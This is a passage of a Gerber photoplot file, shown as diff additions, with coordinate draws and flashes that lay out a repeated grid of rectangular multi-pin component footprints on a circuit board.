+X0121000Y0256500D03*
+X0113000Y0233000D02*
+G75*
+%LPD*%
+D16*
+X0107490Y0245540D02*
+X0094510Y0245540D01*
+X0107490Y0245540D02*
+X0107490Y0238460D01*
+X0094510Y0238460D01*
+X0094510Y0245540D01*
+X0105140Y0245540D02*
+X0105140Y0238460D01*
+X0102790Y0238460D02*
+X0102790Y0245540D01*
+X0100440Y0245540D02*
+X0100440Y0238460D01*
+X0098090Y0238460D02*
+X0098090Y0245540D01*
+X0095740Y0245540D02*
+X0095740Y0238460D01*
+X0094510Y0255460D02*
+X0107490Y0255460D01*
+X0094510Y0255460D02*
+X0094510Y0262540D01*
+X0107490Y0262540D01*
+X0107490Y0255460D01*
+X0105140Y0255460D02*
+X0105140Y0262540D01*
+X0102790Y0262540D02*
+X0102790Y0255460D01*
+X0100440Y0255460D02*
+X0100440Y0262540D01*
+X0098090Y0262540D02*
+X0098090Y0255460D01*
+X0095740Y0255460D02*
+X0095740Y0262540D01*
+D17*
+X0107000Y0239000D03*
+X0103000Y0239000D03*
+X0099000Y0239000D03*
+X0095000Y0239000D03*
+X0095000Y0244500D03*
+X0107000Y0244500D03*
+X0107000Y0256500D03*
+X0107000Y0262000D03*
+X0103000Y0262000D03*
+X0099000Y0262000D03*
+X0095000Y0262000D03*
+X0095000Y0256500D03*
+X0139000Y0270000D02*
+G75*
+%LPD*%
+D16*
+X0133490Y0282540D02*
+X0120510Y0282540D01*
+X0133490Y0282540D02*
+X0133490Y0275460D01*
+X0120510Y0275460D01*
+X0120510Y0282540D01*
+X0131140Y0282540D02*
+X0131140Y0275460D01*
+X0128790Y0275460D02*
+X0128790Y0282540D01*
+X0126440Y0282540D02*
+X0126440Y0275460D01*
+X0124090Y0275460D02*
+X0124090Y0282540D01*
+X0121740Y0282540D02*
+X0121740Y0275460D01*
+X0120510Y0292460D02*
+X0133490Y0292460D01*
+X0120510Y0292460D02*
+X0120510Y0299540D01*
+X0133490Y0299540D01*
+X0133490Y0292460D01*
+X0131140Y0292460D02*
+X0131140Y0299540D01*
+X0128790Y0299540D02*
+X0128790Y0292460D01*
+X0126440Y0292460D02*
+X0126440Y0299540D01*
+X0124090Y0299540D02*
+X0124090Y0292460D01*
+X0121740Y0292460D02*
+X0121740Y0299540D01*
+D17*
+X0133000Y0276000D03*
+X0129000Y0276000D03*
+X0125000Y0276000D03*
+X0121000Y0276000D03*
+X0121000Y0281500D03*
+X0133000Y0281500D03*
+X0133000Y0293500D03*
+X0133000Y0299000D03*
+X0129000Y0299000D03*
+X0125000Y0299000D03*
+X0121000Y0299000D03*
+X0121000Y0293500D03*
+X0087000Y0233000D02*
+G75*
+%LPD*%
+D16*
+X0081490Y0245540D02*
+X0068510Y0245540D01*
+X0081490Y0245540D02*
+X0081490Y0238460D01*
+X0068510Y0238460D01*
+X0068510Y0245540D01*
+X0079140Y0245540D02*
+X0079140Y0238460D01*
+X0076790Y0238460D02*
+X0076790Y0245540D01*
+X0074440Y0245540D02*
+X0074440Y0238460D01*
+X0072090Y0238460D02*
+X0072090Y0245540D01*
+X0069740Y0245540D02*
+X0069740Y0238460D01*
+X0068510Y0255460D02*
+X0081490Y0255460D01*
+X0068510Y0255460D02*
+X0068510Y0262540D01*
+X0081490Y0262540D01*
+X0081490Y0255460D01*
+X0079140Y0255460D02*
+X0079140Y0262540D01*
+X0076790Y0262540D02*
+X0076790Y0255460D01*
+X0074440Y0255460D02*
+X0074440Y0262540D01*
+X0072090Y0262540D02*
+X0072090Y0255460D01*
+X0069740Y0255460D02*
+X0069740Y0262540D01*
+D17*
+X0081000Y0239000D03*
+X0077000Y0239000D03*
+X0073000Y0239000D03*
+X0069000Y0239000D03*
+X0069000Y0244500D03*
+X0081000Y0244500D03*
+X0081000Y0256500D03*
+X0081000Y0262000D03*
+X0077000Y0262000D03*
+X0073000Y0262000D03*
+X0069000Y0262000D03*
+X0069000Y0256500D03*
+X0113000Y0270000D02*
+G75*
+%LPD*%
+D16*
+X0107490Y0282540D02*
+X0094510Y0282540D01*
+X0107490Y0282540D02*
+X0107490Y0275460D01*
+X0094510Y0275460D01*
+X0094510Y0282540D01*
+X0105140Y0282540D02*
+X0105140Y0275460D01*
+X0102790Y0275460D02*
+X0102790Y0282540D01*
+X0100440Y0282540D02*
+X0100440Y0275460D01*
+X0098090Y0275460D02*
+X0098090Y0282540D01*
+X0095740Y0282540D02*
+X0095740Y0275460D01*
+X0094510Y0292460D02*
+X0107490Y0292460D01*
+X0094510Y0292460D02*
+X0094510Y0299540D01*
+X0107490Y0299540D01*
+X0107490Y0292460D01*
+X0105140Y0292460D02*
+X0105140Y0299540D01*
+X0102790Y0299540D02*
+X0102790Y0292460D01*
+X0100440Y0292460D02*
+X0100440Y0299540D01*
+X0098090Y0299540D02*
+X0098090Y0292460D01*
+X0095740Y0292460D02*
+X0095740Y0299540D01*
+D17*
+X0107000Y0276000D03*
+X0103000Y0276000D03*
+X0099000Y0276000D03*
+X0095000Y0276000D03*
+X0095000Y0281500D03*
+X0107000Y0281500D03*
+X0107000Y0293500D03*
+X0107000Y0299000D03*
+X0103000Y0299000D03*
+X0099000Y0299000D03*
+X0095000Y0299000D03*
+X0095000Y0293500D03*
+X0061000Y0233000D02*
+G75*
+%LPD*%
+D16*
+X0055490Y0245540D02*
+X0042510Y0245540D01*
+X0055490Y0245540D02*
+X0055490Y0238460D01*
+X0042510Y0238460D01*
+X0042510Y0245540D01*
+X0053140Y0245540D02*
+X0053140Y0238460D01*
+X0050790Y0238460D02*
+X0050790Y0245540D01*
+X0048440Y0245540D02*
+X0048440Y0238460D01*
+X0046090Y0238460D02*
+X0046090Y0245540D01*
+X0043740Y0245540D02*
+X0043740Y0238460D01*
+X0042510Y0255460D02*
+X0055490Y0255460D01*
+X0042510Y0255460D02*
+X0042510Y0262540D01*
+X0055490Y0262540D01*
+X0055490Y0255460D01*
+X0053140Y0255460D02*
+X0053140Y0262540D01*
+X0050790Y0262540D02*
+X0050790Y0255460D01*
+X0048440Y0255460D02*
+X0048440Y0262540D01*
+X0046090Y0262540D02*
+X0046090Y0255460D01*
+X0043740Y0255460D02*
+X0043740Y0262540D01*
+D17*
+X0055000Y0239000D03*
+X0051000Y0239000D03*
+X0047000Y0239000D03*
+X0043000Y0239000D03*
+X0043000Y0244500D03*
+X0055000Y0244500D03*
+X0055000Y0256500D03*
+X0055000Y0262000D03*
+X0051000Y0262000D03*
+X0047000Y0262000D03*
+X0043000Y0262000D03*
+X0043000Y0256500D03*
+X0087000Y0270000D02*
+G75*
+%LPD*%
+D16*
+X0081490Y0282540D02*
+X0068510Y0282540D01*
+X0081490Y0282540D02*
+X0081490Y0275460D01*
+X0068510Y0275460D01*
+X0068510Y0282540D01*
+X0079140Y0282540D02*
+X0079140Y0275460D01*
+X0076790Y0275460D02*
+X0076790Y0282540D01*
+X0074440Y0282540D02*
+X0074440Y0275460D01*
+X0072090Y0275460D02*
+X0072090Y0282540D01*
+X0069740Y0282540D02*
+X0069740Y0275460D01*
+X0068510Y0292460D02*
+X0081490Y0292460D01*
+X0068510Y0292460D02*
+X0068510Y0299540D01*
+X0081490Y0299540D01*
+X0081490Y0292460D01*
+X0079140Y0292460D02*
+X0079140Y0299540D01*
+X0076790Y0299540D02*
+X0076790Y0292460D01*
+X0074440Y0292460D02*
+X0074440Y0299540D01*
+X0072090Y0299540D02*
+X0072090Y0292460D01*
+X0069740Y0292460D02*
+X0069740Y0299540D01*
+D17*
+X0081000Y0276000D03*
+X0077000Y0276000D03*
+X0073000Y0276000D03*
+X0069000Y0276000D03*
+X0069000Y0281500D03*
+X0081000Y0281500D03*
+X0081000Y0293500D03*
+X0081000Y0299000D03*
+X0077000Y0299000D03*
+X0073000Y0299000D03*
+X0069000Y0299000D03*
+X0069000Y0293500D03*
+X0061000Y0270000D02*
+G75*
+%LPD*%
+D16*
+X0055490Y0282540D02*
+X0042510Y0282540D01*
+X0055490Y0282540D02*
+X0055490Y0275460D01*
+X0042510Y0275460D01*
+X0042510Y0282540D01*
+X0053140Y0282540D02*
+X0053140Y0275460D01*
+X0050790Y0275460D02*
+X0050790Y0282540D01*
+X0048440Y0282540D02*
+X0048440Y0275460D01*
+X0046090Y0275460D02*
+X0046090Y0282540D01*
+X0043740Y0282540D02*
+X0043740Y0275460D01*
+X0042510Y0292460D02*
+X0055490Y0292460D01*
+X0042510Y0292460D02*
+X0042510Y0299540D01*
+X0055490Y0299540D01*
+X0055490Y0292460D01*
+X0053140Y0292460D02*
+X0053140Y0299540D01*
+X0050790Y0299540D02*
+X0050790Y0292460D01*
+X0048440Y0292460D02*
+X0048440Y0299540D01*
+X0046090Y0299540D02*
+X0046090Y0292460D01*
+X0043740Y0292460D02*
+X0043740Y0299540D01*
+D17*
+X0055000Y0276000D03*
+X0051000Y0276000D03*
+X0047000Y0276000D03*
+X0043000Y0276000D03*
+X0043000Y0281500D03*
+X0055000Y0281500D03*
+X0055000Y0293500D03*
+X0055000Y0299000D03*
+X0051000Y0299000D03*
+X0047000Y0299000D03*
+X0043000Y0299000D03*
+X0043000Y0293500D03*
+X0035000Y0233000D02*
+G75*
+%LPD*%
+D16*
+X0029490Y0245540D02*
+X0016510Y0245540D01*
+X0029490Y0245540D02*
+X0029490Y0238460D01*
+X0016510Y0238460D01*
+X0016510Y0245540D01*
+X0027140Y0245540D02*
+X0027140Y0238460D01*
+X0024790Y0238460D02*
+X0024790Y0245540D01*
+X0022440Y0245540D02*
+X0022440Y0238460D01*
+X0020090Y0238460D02*
+X0020090Y0245540D01*
+X0017740Y0245540D02*
+X0017740Y0238460D01*
+X0016510Y0255460D02*
+X0029490Y0255460D01*
+X0016510Y0255460D02*
+X0016510Y0262540D01*
+X0029490Y0262540D01*
+X0029490Y0255460D01*
+X0027140Y0255460D02*
+X0027140Y0262540D01*
+X0024790Y0262540D02*
+X0024790Y0255460D01*
+X0022440Y0255460D02*
+X0022440Y0262540D01*
+X0020090Y0262540D02*
+X0020090Y0255460D01*
+X0017740Y0255460D02*
+X0017740Y0262540D01*
+D17*
+X0029000Y0239000D03*
+X0025000Y0239000D03*
+X0021000Y0239000D03*
+X0017000Y0239000D03*
+X0017000Y0244500D03*
+X0029000Y0244500D03*
+X0029000Y0256500D03*
+X0029000Y0262000D03*
+X0025000Y0262000D03*
+X0021000Y0262000D03*
+X0017000Y0262000D03*
+X0017000Y0256500D03*
+X0035000Y0270000D02*
+G75*
+%LPD*%
+D16*
+X0029490Y0282540D02*
+X0016510Y0282540D01*
+X0029490Y0282540D02*
+X0029490Y0275460D01*
+X0016510Y0275460D01*
+X0016510Y0282540D01*
+X0027140Y0282540D02*
+X0027140Y0275460D01*
+X0024790Y0275460D02*
+X0024790Y0282540D01*
+X0022440Y0282540D02*
+X0022440Y0275460D01*
+X0020090Y0275460D02*
+X0020090Y0282540D01*
+X0017740Y0282540D02*
+X0017740Y0275460D01*
+X0016510Y0292460D02*
+X0029490Y0292460D01*
+X0016510Y0292460D02*
+X0016510Y0299540D01*
+X0029490Y0299540D01*
+X0029490Y0292460D01*
+X0027140Y0292460D02*
+X0027140Y0299540D01*
+X0024790Y0299540D02*
+X0024790Y0292460D01*
+X0022440Y0292460D02*
+X0022440Y0299540D01*
+X0020090Y0299540D02*
+X0020090Y0292460D01*
+X0017740Y0292460D02*
+X0017740Y0299540D01*
+D17*
+X0029000Y0276000D03*
+X0025000Y0276000D03*
+X0021000Y0276000D03*
+X0017000Y0276000D03*
+X0017000Y0281500D03*
+X0029000Y0281500D03*
+X0029000Y0293500D03*
+X0029000Y0299000D03*
+X0025000Y0299000D03*
+X0021000Y0299000D03*
+X0017000Y0299000D03*
+X0017000Y0293500D03*
+X0141000Y0233000D02*
+G75*
+%LPD*%
+X0269000Y0233000D02*
+G75*
+%LPD*%
+D16*
+X0263490Y0245540D02*
+X0250510Y0245540D01*
+X0263490Y0245540D02*
+X0263490Y0238460D01*
+X0250510Y0238460D01*
+X0250510Y0245540D01*
+X0261140Y0245540D02*
+X0261140Y0238460D01*
+X0258790Y0238460D02*
+X0258790Y0245540D01*
+X0256440Y0245540D02*
+X0256440Y0238460D01*
+X0254090Y0238460D02*
+X0254090Y0245540D01*
+X0251740Y0245540D02*
+X0251740Y0238460D01*
+X0250510Y0255460D02*
+X0263490Y0255460D01*
+X0250510Y0255460D02*
+X0250510Y0262540D01*
+X0263490Y0262540D01*
+X0263490Y0255460D01*
+X0261140Y0255460D02*
+X0261140Y0262540D01*
+X0258790Y0262540D02*
+X0258790Y0255460D01*
+X0256440Y0255460D02*
+X0256440Y0262540D01*
+X0254090Y0262540D02*
+X0254090Y0255460D01*
+X0251740Y0255460D02*
+X0251740Y0262540D01*
+D17*
+X0263000Y0239000D03*
+X0259000Y0239000D03*
+X0255000Y0239000D03*
+X0251000Y0239000D03*
+X0251000Y0244500D03*
+X0263000Y0244500D03*
+X0263000Y0256500D03*
+X0263000Y0262000D03*
+X0259000Y0262000D03*
+X0255000Y0262000D03*
+X0251000Y0262000D03*
+X0251000Y0256500D03*
+X0243000Y0233000D02*
+G75*
+%LPD*%
+D16*
+X0237490Y0245540D02*
+X0224510Y0245540D01*
+X0237490Y0245540D02*
+X0237490Y0238460D01*
+X0224510Y0238460D01*
+X0224510Y0245540D01*
+X0235140Y0245540D02*
+X0235140Y0238460D01*
+X0232790Y0238460D02*
+X0232790Y0245540D01*
+X0230440Y0245540D02*
+X0230440Y0238460D01*
+X0228090Y0238460D02*
+X0228090Y0245540D01*
+X0225740Y0245540D02*
+X0225740Y0238460D01*
+X0224510Y0255460D02*
+X0237490Y0255460D01*
+X0224510Y0255460D02*
+X0224510Y0262540D01*
+X0237490Y0262540D01*
+X0237490Y0255460D01*
+X0235140Y0255460D02*
+X0235140Y0262540D01*
+X0232790Y0262540D02*
+X0232790Y0255460D01*
+X0230440Y0255460D02*
+X0230440Y0262540D01*
+X0228090Y0262540D02*
+X0228090Y0255460D01*
+X0225740Y0255460D02*
+X0225740Y0262540D01*
+D17*
+X0237000Y0239000D03*
+X0233000Y0239000D03*
+X0229000Y0239000D03*
+X0225000Y0239000D03*
+X0225000Y0244500D03*
+X0237000Y0244500D03*
+X0237000Y0256500D03*
+X0237000Y0262000D03*
+X0233000Y0262000D03*
+X0229000Y0262000D03*
+X0225000Y0262000D03*
+X0225000Y0256500D03*
+X0269000Y0270000D02*
+G75*
+%LPD*%
+D16*
+X0263490Y0282540D02*
+X0250510Y0282540D01*
+X0263490Y0282540D02*
+X0263490Y0275460D01*
+X0250510Y0275460D01*
+X0250510Y0282540D01*
+X0261140Y0282540D02*
+X0261140Y0275460D01*
+X0258790Y0275460D02*
+X0258790Y0282540D01*
+X0256440Y0282540D02*
+X0256440Y0275460D01*
+X0254090Y0275460D02*
+X0254090Y0282540D01*
+X0251740Y0282540D02*
+X0251740Y0275460D01*
+X0250510Y0292460D02*
+X0263490Y0292460D01*
+X0250510Y0292460D02*
+X0250510Y0299540D01*
+X0263490Y0299540D01*
+X0263490Y0292460D01*
+X0261140Y0292460D02*
+X0261140Y0299540D01*
+X0258790Y0299540D02*
+X0258790Y0292460D01*
+X0256440Y0292460D02*
+X0256440Y0299540D01*
+X0254090Y0299540D02*
+X0254090Y0292460D01*
+X0251740Y0292460D02*
+X0251740Y0299540D01*
+D17*
+X0263000Y0276000D03*
+X0259000Y0276000D03*
+X0255000Y0276000D03*
+X0251000Y0276000D03*
+X0251000Y0281500D03*
+X0263000Y0281500D03*
+X0263000Y0293500D03*
+X0263000Y0299000D03*
+X0259000Y0299000D03*
+X0255000Y0299000D03*
+X0251000Y0299000D03*
+X0251000Y0293500D03*
+X0217000Y0233000D02*
+G75*
+%LPD*%
+D16*
+X0211490Y0245540D02*
+X0198510Y0245540D01*
+X0211490Y0245540D02*
+X0211490Y0238460D01*
+X0198510Y0238460D01*
+X0198510Y0245540D01*
+X0209140Y0245540D02*
+X0209140Y0238460D01*
+X0206790Y0238460D02*
+X0206790Y0245540D01*
+X0204440Y0245540D02*
+X0204440Y0238460D01*
+X0202090Y0238460D02*
+X0202090Y0245540D01*
+X0199740Y0245540D02*
+X0199740Y0238460D01*
+X0198510Y0255460D02*
+X0211490Y0255460D01*
+X0198510Y0255460D02*
+X0198510Y0262540D01*
+X0211490Y0262540D01*
+X0211490Y0255460D01*
+X0209140Y0255460D02*
+X0209140Y0262540D01*
+X0206790Y0262540D02*
+X0206790Y0255460D01*
+X0204440Y0255460D02*
+X0204440Y0262540D01*
+X0202090Y0262540D02*
+X0202090Y0255460D01*
+X0199740Y0255460D02*
+X0199740Y0262540D01*
+D17*
+X0211000Y0239000D03*
+X0207000Y0239000D03*
+X0203000Y0239000D03*
+X0199000Y0239000D03*
+X0199000Y0244500D03*
+X0211000Y0244500D03*
+X0211000Y0256500D03*
+X0211000Y0262000D03*
+X0207000Y0262000D03*
+X0203000Y0262000D03*
+X0199000Y0262000D03*
+X0199000Y0256500D03*
+X0243000Y0270000D02*
+G75*
+%LPD*%
+D16*
+X0237490Y0282540D02*
+X0224510Y0282540D01*
+X0237490Y0282540D02*
+X0237490Y0275460D01*
+X0224510Y0275460D01*
+X0224510Y0282540D01*
+X0235140Y0282540D02*
+X0235140Y0275460D01*
+X0232790Y0275460D02*
+X0232790Y0282540D01*
+X0230440Y0282540D02*
+X0230440Y0275460D01*
+X0228090Y0275460D02*
+X0228090Y0282540D01*
+X0225740Y0282540D02*
+X0225740Y0275460D01*
+X0224510Y0292460D02*
+X0237490Y0292460D01*
+X0224510Y0292460D02*
+X0224510Y0299540D01*
+X0237490Y0299540D01*
+X0237490Y0292460D01*
+X0235140Y0292460D02*
+X0235140Y0299540D01*
+X0232790Y0299540D02*
+X0232790Y0292460D01*
+X0230440Y0292460D02*
+X0230440Y0299540D01*
+X0228090Y0299540D02*
+X0228090Y0292460D01*
+X0225740Y0292460D02*
+X0225740Y0299540D01*
+D17*
+X0237000Y0276000D03*
+X0233000Y0276000D03*
+X0229000Y0276000D03*
+X0225000Y0276000D03*
+X0225000Y0281500D03*
+X0237000Y0281500D03*
+X0237000Y0293500D03*
+X0237000Y0299000D03*
+X0233000Y0299000D03*
+X0229000Y0299000D03*
+X0225000Y0299000D03*
+X0225000Y0293500D03*
+X0191000Y0233000D02*
+G75*
+%LPD*%
+D16*
+X0185490Y0245540D02*
+X0172510Y0245540D01*
+X0185490Y0245540D02*
+X0185490Y0238460D01*
+X0172510Y0238460D01*
+X0172510Y0245540D01*
+X0183140Y0245540D02*
+X0183140Y0238460D01*
+X0180790Y0238460D02*
+X0180790Y0245540D01*
+X0178440Y0245540D02*
+X0178440Y0238460D01*
+X0176090Y0238460D02*
+X0176090Y0245540D01*
+X0173740Y0245540D02*
+X0173740Y0238460D01*
+X0172510Y0255460D02*
+X0185490Y0255460D01*
+X0172510Y0255460D02*
+X0172510Y0262540D01*
+X0185490Y0262540D01*
+X0185490Y0255460D01*
+X0183140Y0255460D02*
+X0183140Y0262540D01*
+X0180790Y0262540D02*
+X0180790Y0255460D01*
+X0178440Y0255460D02*
+X0178440Y0262540D01*
+X0176090Y0262540D02*
+X0176090Y0255460D01*
+X0173740Y0255460D02*
+X0173740Y0262540D01*
+D17*
+X0185000Y0239000D03*
+X0181000Y0239000D03*
+X0177000Y0239000D03*
+X0173000Y0239000D03*
+X0173000Y0244500D03*
+X0185000Y0244500D03*
+X0185000Y0256500D03*
+X0185000Y0262000D03*
+X0181000Y0262000D03*
+X0177000Y0262000D03*
+X0173000Y0262000D03*
+X0173000Y0256500D03*
+X0217000Y0270000D02*
+G75*
+%LPD*%
+D16*
+X0211490Y0282540D02*
+X0198510Y0282540D01*
+X0211490Y0282540D02*
+X0211490Y0275460D01*
+X0198510Y0275460D01*
+X0198510Y0282540D01*
+X0209140Y0282540D02*
+X0209140Y0275460D01*
+X0206790Y0275460D02*
+X0206790Y0282540D01*
+X0204440Y0282540D02*
+X0204440Y0275460D01*
+X0202090Y0275460D02*
+X0202090Y0282540D01*
+X0199740Y0282540D02*
+X0199740Y0275460D01*
+X0198510Y0292460D02*
+X0211490Y0292460D01*
+X0198510Y0292460D02*
+X0198510Y0299540D01*
+X0211490Y0299540D01*
+X0211490Y0292460D01*
+X0209140Y0292460D02*
+X0209140Y0299540D01*
+X0206790Y0299540D02*
+X0206790Y0292460D01*
+X0204440Y0292460D02*
+X0204440Y0299540D01*
+X0202090Y0299540D02*
+X0202090Y0292460D01*
+X0199740Y0292460D02*
+X0199740Y0299540D01*
+D17*
+X0211000Y0276000D03*
+X0207000Y0276000D03*
+X0203000Y0276000D03*
+X0199000Y0276000D03*
+X0199000Y0281500D03*
+X0211000Y0281500D03*
+X0211000Y0293500D03*
+X0211000Y0299000D03*
+X0207000Y0299000D03*
+X0203000Y0299000D03*
+X0199000Y0299000D03*
+X0199000Y0293500D03*
+X0191000Y0270000D02*
+G75*
+%LPD*%
+D16*
+X0185490Y0282540D02*
+X0172510Y0282540D01*
+X0185490Y0282540D02*
+X0185490Y0275460D01*
+X0172510Y0275460D01*
+X0172510Y0282540D01*
+X0183140Y0282540D02*
+X0183140Y0275460D01*
+X0180790Y0275460D02*
+X0180790Y0282540D01*
+X0178440Y0282540D02*
+X0178440Y0275460D01*
+X0176090Y0275460D02*
+X0176090Y0282540D01*
+X0173740Y0282540D02*
+X0173740Y0275460D01*
+X0172510Y0292460D02*
+X0185490Y0292460D01*
+X0172510Y0292460D02*
+X0172510Y0299540D01*
+X0185490Y0299540D01*
+X0185490Y0292460D01*
+X0183140Y0292460D02*
+X0183140Y0299540D01*
+X0180790Y0299540D02*
+X0180790Y0292460D01*
+X0178440Y0292460D02*
+X0178440Y0299540D01*
+X0176090Y0299540D02*
+X0176090Y0292460D01*
+X0173740Y0292460D02*
+X0173740Y0299540D01*
+D17*
+X0185000Y0276000D03*
+X0181000Y0276000D03*
+X0177000Y0276000D03*
+X0173000Y0276000D03*
+X0173000Y0281500D03*
+X0185000Y0281500D03*
+X0185000Y0293500D03*
+X0185000Y0299000D03*
+X0181000Y0299000D03*
+X0177000Y0299000D03*
+X0173000Y0299000D03*
+X0173000Y0293500D03*
+X0165000Y0233000D02*
+G75*
+%LPD*%
+D16*
+X0159490Y0245540D02*
+X0146510Y0245540D01*
+X0159490Y0245540D02*
+X0159490Y0238460D01*
+X0146510Y0238460D01*
+X0146510Y0245540D01*
+X0157140Y0245540D02*
+X0157140Y0238460D01*
+X0154790Y0238460D02*
+X0154790Y0245540D01*
+X0152440Y0245540D02*
+X0152440Y0238460D01*
+X0150090Y0238460D02*
+X0150090Y0245540D01*
+X0147740Y0245540D02*
+X0147740Y0238460D01*
+X0146510Y0255460D02*
+X0159490Y0255460D01*
+X0146510Y0255460D02*
+X0146510Y0262540D01*
+X0159490Y0262540D01*
+X0159490Y0255460D01*
+X0157140Y0255460D02*
+X0157140Y0262540D01*
+X0154790Y0262540D02*
+X0154790Y0255460D01*
+X0152440Y0255460D02*
+X0152440Y0262540D01*
+X0150090Y0262540D02*
+X0150090Y0255460D01*
+X0147740Y0255460D02*
+X0147740Y0262540D01*
+D17*
+X0159000Y0239000D03*
+X0155000Y0239000D03*
+X0151000Y0239000D03*
+X0147000Y0239000D03*
+X0147000Y0244500D03*
+X0159000Y0244500D03*
+X0159000Y0256500D03*
+X0159000Y0262000D03*
+X0155000Y0262000D03*
+X0151000Y0262000D03*
+X0147000Y0262000D03*
+X0147000Y0256500D03*
+X0165000Y0270000D02*
+G75*
+%LPD*%
+D16*
+X0159490Y0282540D02*
+X0146510Y0282540D01*
+X0159490Y0282540D02*
+X0159490Y0275460D01*
+X0146510Y0275460D01*
+X0146510Y0282540D01*
+X0157140Y0282540D02*
+X0157140Y0275460D01*
+X0154790Y0275460D02*
+X0154790Y0282540D01*
+X0152440Y0282540D02*
+X0152440Y0275460D01*
+X0150090Y0275460D02*
+X0150090Y0282540D01*
+X0147740Y0282540D02*
+X0147740Y0275460D01*
+X0146510Y0292460D02*
+X0159490Y0292460D01*
+X0146510Y0292460D02*
+X0146510Y0299540D01*
+X0159490Y0299540D01*
+X0159490Y0292460D01*
+X0157140Y0292460D02*
+X0157140Y0299540D01*
+X0154790Y0299540D02*
+X0154790Y0292460D01*
+X0152440Y0292460D02*
+X0152440Y0299540D01*
+X0150090Y0299540D02*
+X0150090Y0292460D01*
+X0147740Y0292460D02*
+X0147740Y0299540D01*
+D17*
+X0159000Y0276000D03*
+X0155000Y0276000D03*
+X0151000Y0276000D03*
+X0147000Y0276000D03*
+X0147000Y0281500D03*
+X0159000Y0281500D03*
+X0159000Y0293500D03*
+X0159000Y0299000D03*
+X0155000Y0299000D03*
+X0151000Y0299000D03*
+X0147000Y0299000D03*
+X0147000Y0293500D03*
+X0011000Y0307000D02*
+G75*
+%LPD*%
+X0139000Y0307000D02*
+G75*
+%LPD*%
+D16*
+X0133490Y0319540D02*
+X0120510Y0319540D01*
+X0133490Y0319540D02*
+X0133490Y0312460D01*
+X0120510Y0312460D01*
+X0120510Y0319540D01*
+X0131140Y0319540D02*
+X0131140Y0312460D01*
+X0128790Y0312460D02*
+X0128790Y0319540D01*
+X0126440Y0319540D02*
+X0126440Y0312460D01*
+X0124090Y0312460D02*
+X0124090Y0319540D01*
+X0121740Y0319540D02*
+X0121740Y0312460D01*
+X0120510Y0329460D02*
+X0133490Y0329460D01*
+X0120510Y0329460D02*
+X0120510Y0336540D01*
+X0133490Y0336540D01*
+X0133490Y0329460D01*
+X0131140Y0329460D02*
+X0131140Y0336540D01*
+X0128790Y0336540D02*
+X0128790Y0329460D01*
+X0126440Y0329460D02*
+X0126440Y0336540D01*
+X0124090Y0336540D02*
+X0124090Y0329460D01*
+X0121740Y0329460D02*
+X0121740Y0336540D01*
+D17*
+X0133000Y0313000D03*
+X0129000Y0313000D03*
+X0125000Y0313000D03*
+X0121000Y0313000D03*
+X0121000Y0318500D03*
+X0133000Y0318500D03*
+X0133000Y0330500D03*
+X0133000Y0336000D03*
+X0129000Y0336000D03*
+X0125000Y0336000D03*
+X0121000Y0336000D03*
+X0121000Y0330500D03*
+X0113000Y0307000D02*
+G75*
+%LPD*%
+D16*
+X0107490Y0319540D02*
+X0094510Y0319540D01*
+X0107490Y0319540D02*
+X0107490Y0312460D01*
+X0094510Y0312460D01*
+X0094510Y0319540D01*
+X0105140Y0319540D02*
+X0105140Y0312460D01*
+X0102790Y0312460D02*
+X0102790Y0319540D01*
+X0100440Y0319540D02*
+X0100440Y0312460D01*
+X0098090Y0312460D02*
+X0098090Y0319540D01*
+X0095740Y0319540D02*
+X0095740Y0312460D01*
+X0094510Y0329460D02*
+X0107490Y0329460D01*
+X0094510Y0329460D02*
+X0094510Y0336540D01*
+X0107490Y0336540D01*
+X0107490Y0329460D01*
+X0105140Y0329460D02*
+X0105140Y0336540D01*
+X0102790Y0336540D02*
+X0102790Y0329460D01*
+X0100440Y0329460D02*
+X0100440Y0336540D01*
+X0098090Y0336540D02*
+X0098090Y0329460D01*
+X0095740Y0329460D02*
+X0095740Y0336540D01*
+D17*
+X0107000Y0313000D03*
+X0103000Y0313000D03*
+X0099000Y0313000D03*
+X0095000Y0313000D03*
+X0095000Y0318500D03*
+X0107000Y0318500D03*
+X0107000Y0330500D03*
+X0107000Y0336000D03*
+X0103000Y0336000D03*
+X0099000Y0336000D03*
+X0095000Y0336000D03*
+X0095000Y0330500D03*
+X0139000Y0344000D02*
+G75*
+%LPD*%
+D16*
+X0133490Y0356540D02*
+X0120510Y0356540D01*
+X0133490Y0356540D02*
+X0133490Y0349460D01*
+X0120510Y0349460D01*
+X0120510Y0356540D01*
+X0131140Y0356540D02*
+X0131140Y0349460D01*
+X0128790Y0349460D02*
+X0128790Y0356540D01*
+X0126440Y0356540D02*
+X0126440Y0349460D01*
+X0124090Y0349460D02*
+X0124090Y0356540D01*
+X0121740Y0356540D02*
+X0121740Y0349460D01*
+X0120510Y0366460D02*
+X0133490Y0366460D01*
+X0120510Y0366460D02*
+X0120510Y0373540D01*
+X0133490Y0373540D01*
+X0133490Y0366460D01*
+X0131140Y0366460D02*
+X0131140Y0373540D01*
+X0128790Y0373540D02*
+X0128790Y0366460D01*
+X0126440Y0366460D02*
+X0126440Y0373540D01*
+X0124090Y0373540D02*
+X0124090Y0366460D01*
+X0121740Y0366460D02*
+X0121740Y0373540D01*
+D17*
+X0133000Y0350000D03*
+X0129000Y0350000D03*
+X0125000Y0350000D03*
+X0121000Y0350000D03*
+X0121000Y0355500D03*
+X0133000Y0355500D03*
+X0133000Y0367500D03*
+X0133000Y0373000D03*
+X0129000Y0373000D03*
+X0125000Y0373000D03*
+X0121000Y0373000D03*
+X0121000Y0367500D03*
+X0087000Y0307000D02*
+G75*
+%LPD*%
+D16*
+X0081490Y0319540D02*
+X0068510Y0319540D01*
+X0081490Y0319540D02*
+X0081490Y0312460D01*
+X0068510Y0312460D01*
+X0068510Y0319540D01*
+X0079140Y0319540D02*
+X0079140Y0312460D01*
+X0076790Y0312460D02*
+X0076790Y0319540D01*
+X0074440Y0319540D02*
+X0074440Y0312460D01*
+X0072090Y0312460D02*
+X0072090Y0319540D01*
+X0069740Y0319540D02*
+X0069740Y0312460D01*
+X0068510Y0329460D02*
+X0081490Y0329460D01*
+X0068510Y0329460D02*
+X0068510Y0336540D01*
+X0081490Y0336540D01*
+X0081490Y0329460D01*
+X0079140Y0329460D02*
+X0079140Y0336540D01*
+X0076790Y0336540D02*
+X0076790Y0329460D01*
+X0074440Y0329460D02*
+X0074440Y0336540D01*
+X0072090Y0336540D02*
+X0072090Y0329460D01*
+X0069740Y0329460D02*
+X0069740Y0336540D01*
+D17*
+X0081000Y0313000D03*
+X0077000Y0313000D03*
+X0073000Y0313000D03*
+X0069000Y0313000D03*
+X0069000Y0318500D03*
